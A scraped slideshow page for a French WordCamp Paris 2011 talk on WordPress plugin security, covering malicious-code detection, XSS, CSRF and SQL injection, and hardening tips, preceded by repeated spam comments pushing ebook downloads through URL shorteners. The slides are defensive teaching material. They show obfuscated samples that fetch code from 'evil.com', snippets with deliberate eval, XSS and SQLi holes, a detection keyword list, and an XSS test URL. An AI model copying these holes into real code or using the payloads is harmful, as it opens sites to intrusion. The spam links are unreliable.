Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Wordpress et la sécurité des plugins

12,972 views

Published on

Slide de @BoiteAWeb (Julio Potier) pour la WordCamp Paris 2011, le 25 nov. 2011.
http://baw.li/wcp2011

Published in: Technology
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THAT BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download Full EPUB Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download Full doc Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download PDF EBOOK here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download EPUB Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download doc Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book that can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer that is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story That Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money That the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths that Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THAT BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book that can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer that is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story That Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money That the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths that Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • DOWNLOAD THI5 BOOKS INTO AVAILABLE FORMAT (Unlimited) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download Full EPUB Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... ACCESS WEBSITE for All Ebooks ......................................................................................................................... Download Full PDF EBOOK here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download EPUB Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... Download doc Ebook here { http://bit.ly/2m6jJ5M } ......................................................................................................................... ......................................................................................................................... ......................................................................................................................... .............. Browse by Genre Available eBooks ......................................................................................................................... Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult,
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

Wordpress et la sécurité des plugins

  1. 1. WordPress et la Sécurité des Plugins WordPress Francophone ~ Julio Potier ~ @boiteaweb ~ WordCamp Paris 2011 ~
  2. 2. 1) C'est quoi un plugin et comment ça marche ?   2) Pourquoi un plugin peut contenir une vulnérabilité ?   3) Peut-on et comment détecter du code malveillant ?   4) Les différentes failles les plus répandues.   5) Sélection de plugin Sécurité pour votre site. Bonus) Sécuriser WordPress au delà des plugins. WordPress Francophone Sommaire
  3. 3. Un Plugin : C'est quoi ? Ensemble de fonctions qui viennent se greffer sur votre site dans le but de l’améliorer ou d’ajouter des fonctionnalités. Et comment ça marche ? Un plugin va utiliser ce qu’on apelle les “hooks” qui signifie “hameçons”. Un hook est un point d’entrée dans une fonction WordPress. WordPress Francophone
  4. 4. Pourquoi un Plugin peut contenir une vulnérabilité : #1 Acte volontaire de nuire   #2 Le manque d'information du développeur #3 L'indifférence du développeur #4 Nouvelles découvertes de failles #5 Repository WordPress piraté WordPress Francophone
  5. 5. Peut-on et comment détecter du code malveillant ? : Exemples de codes malveillants :   eval( base64_decode( "ZWNobyAkX09QVElPTlNbJ2UnXQ==" ) ); $a='http://www.'; $b='evil'; $c='.com/script.php'; $content = file_get_contents( $a.$b.$c ); $b(); // Équivaut à evil(); WordPress Francophone
  6. 6. Peut-on et comment détecter du code malveillant ? : Exemple de code non caché : WordPress Francophone echo $_GET['e']; // XSS eval( $_GET['e'] ); // RCE $wpdb->query( $_GET['e'] ); // SQLi "eval","base64","rot13","include","require","mail","wp_mail" Quelques mots-clés :
  7. 7. Comment choisir son Plugin : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de création du plugin # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du plugin # Lire les commentaires et avis sur les forums liés # Tester le plugin sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone
  8. 8. Comment choisir son Thème : # Regarder le nombre de téléchargements # Lire le Changelog à la recherche de correctifs sécu # Trouver la date de mise à jour du thème # Chercher sur Google "security" ou "problem" ou "exploit" ou "faille" suivi du nom du thème # Lire les commentaires et avis sur les forums liés # Tester le thème sur un site test ou en local # Le faire auditer si le doute subsiste WordPress Francophone # Le trouver sur un site sérieux et compétent # Le faire faire par un intégrateur professionnel
  9. 9. Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone Bonjour <?= $_GET['log'] ?> ! http://target.com/?log=<script>alert(&quot;This is a XSS vuln for #WCP2011&quot;);</script>
  10. 10. Les failles les plus répandues : XSS - C ross ( X ) S ite S cripting http://baw.li/dico/XSS WordPress Francophone <input value=&quot;<?= $opts['log'] ?>&quot; /> $opts = get_option( 'mon_plugin' );
  11. 11. Les failles les plus répandues : CSRF - C ross ( X ) S ite R equest F orgery   http://baw.li/dico/CSRF WordPress Francophone <form> <input name=&quot;option&quot; value=&quot;evil&quot; /> <input type=&quot;submit&quot; /> </form> Un token sécurité est manquant ! <input name=&quot;_wpnonce&quot; value=&quot;j2u1l1i2op&quot; />
  12. 12. Les failles les plus répandues : SQLi - S imple Q uery L anguage I njection http://baw.li/dico/sqli WordPress Francophone $wpdb->query( 'SELECT user_login FROM wp_users WHERE user_login = ' . $opts['log'] ); Les requêtes doivent être préparées ! $wpdb->query( $wpdb->prepare( 'SELECT user_login FROM wp_users WHERE user_login = %s', $opts['log'] ) );
  13. 13. Vidéo Démo WordPress Francophone http://baw.li/1334
  14. 14. Liste non exhaustive de Plugins # AntiVirus # AskApache Password Protect # BulletProof Security # Secure WordPress et WP Security Scan # Exploit Scanner # Ultimate Security Checker # WordPress Plugin Security Checker # Chap Secure Login # Login Lock # One Time Password # User Role Editor # BackWPUp # Audit Trail # WordPress Firewall (!!!) WordPress Francophone
  15. 15. Bonus : Sécuriser WordPress au delà des Plugins # Faites des sauvegardes régulières. # Tenez WordPress et ses plugins et thèmes à jour. # Déplacez wp-config.php d’un cran dans votre arborescence. # Choisissez un bon mot de passe. # Modifiez le préfixe &quot; wp_ &quot; de votre base de données. # Supprimez le compte “ admin ”. # Ajoutez un “ Options -Indexes ” dans votre .htaccess. # Installer quelques un des plugins cités précédemment. # Cacher le n° de version ? Non ... WordPress Francophone
  16. 16. Livres
  17. 17. Merci ! WordPress Francophone http://studio-raspail.fr http://wordpress-fr.net http://wp-themes-pro.com http://screenfeed.fr http://seomix.fr http://geekeries.fr @screenfeedfr @rochdaniel @geekeriesfr @wordpress_fr @wp_themes_pro Retrouvez ce slide sur http://boiteaweb.fr/wcp2011

×